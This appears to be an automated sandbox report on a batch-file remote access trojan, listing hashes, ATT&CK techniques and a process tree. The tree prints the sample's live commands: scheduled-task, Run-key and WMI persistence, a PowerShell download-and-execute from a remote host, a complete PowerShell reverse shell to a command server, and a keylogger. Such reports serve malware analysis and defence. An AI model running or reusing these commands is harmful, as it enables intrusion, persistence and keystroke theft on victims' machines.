53bea64df937e3e9fc10f742a928764e448583e28bc65f1ae89ef489251edbb7

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:13

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General

Target
rat_build_78048_014247.bat
Size 4KB
Sample260529-144dbsht5t
SHA256 53bea64df937e3e9fc10f742a928764e448583e28bc65f1ae89ef489251edbb7
MD5 cd10003f170faf243c8dc97ef44e8cbe
SHA1 275ccb67766dc50c8bd1d5fc1a6d9b6367dabbe4
SHA512 c9130041a60f8d69ebbcd7decc06885e171d2b1a55b61362fe3dfc77d373446709c3638e03d283713fd5d5df8974f678a1ac012f28143d795d1a6e8867e3a893
SSDEEP 96:WIIlWOAeixrwoQTX1Y+CvhOie4UpZcUXf6jx/gV9piFgZk8mvlo1bw:WsOAekwk+Sh/x/8iFgkHlCw
TLSH
T10FB1F8236B9BA16485F01A1CDD313888576CE6FB1381DECDEB49CEC1068DE039529AE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_78048.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3380	powershell.exe
2956	powershell.exe
3036	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_78048 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_78048.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1456	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2204	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2656	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2948	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe
3036	powershell.exe
3036	powershell.exe
3036	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1116	WMIC.exe
Token: SeSecurityPrivilege	1116	WMIC.exe
Token: SeTakeOwnershipPrivilege	1116	WMIC.exe
Token: SeLoadDriverPrivilege	1116	WMIC.exe
Token: SeSystemProfilePrivilege	1116	WMIC.exe
Token: SeSystemtimePrivilege	1116	WMIC.exe
Token: SeProfSingleProcessPrivilege	1116	WMIC.exe
Token: SeIncBasePriorityPrivilege	1116	WMIC.exe
Token: SeCreatePagefilePrivilege	1116	WMIC.exe
Token: SeBackupPrivilege	1116	WMIC.exe
Token: SeRestorePrivilege	1116	WMIC.exe
Token: SeShutdownPrivilege	1116	WMIC.exe
Token: SeDebugPrivilege	1116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1116	WMIC.exe
Token: SeRemoteShutdownPrivilege	1116	WMIC.exe
Token: SeUndockPrivilege	1116	WMIC.exe
Token: SeManageVolumePrivilege	1116	WMIC.exe
Token: 33	1116	WMIC.exe
Token: 34	1116	WMIC.exe
Token: 35	1116	WMIC.exe
Token: 36	1116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1116	WMIC.exe
Token: SeSecurityPrivilege	1116	WMIC.exe
Token: SeTakeOwnershipPrivilege	1116	WMIC.exe
Token: SeLoadDriverPrivilege	1116	WMIC.exe
Token: SeSystemProfilePrivilege	1116	WMIC.exe
Token: SeSystemtimePrivilege	1116	WMIC.exe
Token: SeProfSingleProcessPrivilege	1116	WMIC.exe
Token: SeIncBasePriorityPrivilege	1116	WMIC.exe
Token: SeCreatePagefilePrivilege	1116	WMIC.exe
Token: SeBackupPrivilege	1116	WMIC.exe
Token: SeRestorePrivilege	1116	WMIC.exe
Token: SeShutdownPrivilege	1116	WMIC.exe
Token: SeDebugPrivilege	1116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1116	WMIC.exe
Token: SeRemoteShutdownPrivilege	1116	WMIC.exe
Token: SeUndockPrivilege	1116	WMIC.exe
Token: SeManageVolumePrivilege	1116	WMIC.exe
Token: 33	1116	WMIC.exe
Token: 34	1116	WMIC.exe
Token: 35	1116	WMIC.exe
Token: 36	1116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3392	WMIC.exe
Token: SeSecurityPrivilege	3392	WMIC.exe
Token: SeTakeOwnershipPrivilege	3392	WMIC.exe
Token: SeLoadDriverPrivilege	3392	WMIC.exe
Token: SeSystemProfilePrivilege	3392	WMIC.exe
Token: SeSystemtimePrivilege	3392	WMIC.exe
Token: SeProfSingleProcessPrivilege	3392	WMIC.exe
Token: SeIncBasePriorityPrivilege	3392	WMIC.exe
Token: SeCreatePagefilePrivilege	3392	WMIC.exe
Token: SeBackupPrivilege	3392	WMIC.exe
Token: SeRestorePrivilege	3392	WMIC.exe
Token: SeShutdownPrivilege	3392	WMIC.exe
Token: SeDebugPrivilege	3392	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3392	WMIC.exe
Token: SeRemoteShutdownPrivilege	3392	WMIC.exe
Token: SeUndockPrivilege	3392	WMIC.exe
Token: SeManageVolumePrivilege	3392	WMIC.exe
Token: 33	3392	WMIC.exe
Token: 34	3392	WMIC.exe
Token: 35	3392	WMIC.exe
Token: 36	3392	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3392	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 2948	2276	cmd.exe	86
PID 2276 wrote to memory of 2656	2276	cmd.exe	87
PID 2276 wrote to memory of 1116	2276	cmd.exe	89
PID 2276 wrote to memory of 3392	2276	cmd.exe	90
PID 2276 wrote to memory of 4764	2276	cmd.exe	92
PID 2276 wrote to memory of 2204	2276	cmd.exe	109
PID 2276 wrote to memory of 1456	2276	cmd.exe	112
PID 2276 wrote to memory of 3380	2276	cmd.exe	113
PID 2276 wrote to memory of 2956	2276	cmd.exe	114
PID 2276 wrote to memory of 3036	2276	cmd.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_78048_014247.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_78048" /tr "C:\Users\Admin\AppData\Local\Temp\_78048.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2948
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_78048" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_78048.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2656
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_78048", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1116
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_78048", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_78048.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_78048.txt
  2⤵
  PID:4764
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2204
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_78048.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a98f042e381d7df6c49ca6b4696f7cb4fd97a9dcc374d31e1e852f5b15ac4d6c
MD5 478a2899afa68fb73f19c122429339e1
SHA1 4ef6abbd8914917a99d401862e82b1b96a1fb49f
SHA512 8e4f6f4452f31d6354c2e423898ad0b1b1efeda1b3f6dd8b3971b448090b581ca22eceb6c74f3729ccc94eb2132d65452c745789e1840f47ad2f5ac3c800bb4e
TLSH
T108117627F39CC921CC96153A409DAD1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e3b900bb6c521910ed787800e26a15169389c6b303538151b1e7795eda28697e
MD5 a7e0b6e0afbd40b99910b8387b19dc4e
SHA1 ba0d38ff10ccd72d413ee458891186ea4d60fab4
SHA512 f6e8bc1f2b1a073a11c08a16e98d9da323fb8cecbff38c6331aa74be287eb86180b1dd46b77cc82a4105de2af49aacc10ba8ae0227693133dc6903f2fa71c999
TLSH
T178115727B39C89A1CC96163A409D9C1176B687DB40AEDEDF6BC0D214E1BF584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_celvlvtz.dla.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_celvlvtz.dla.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3380-4-0x0000022614D60000-0x0000022614D82000-memory.dmp

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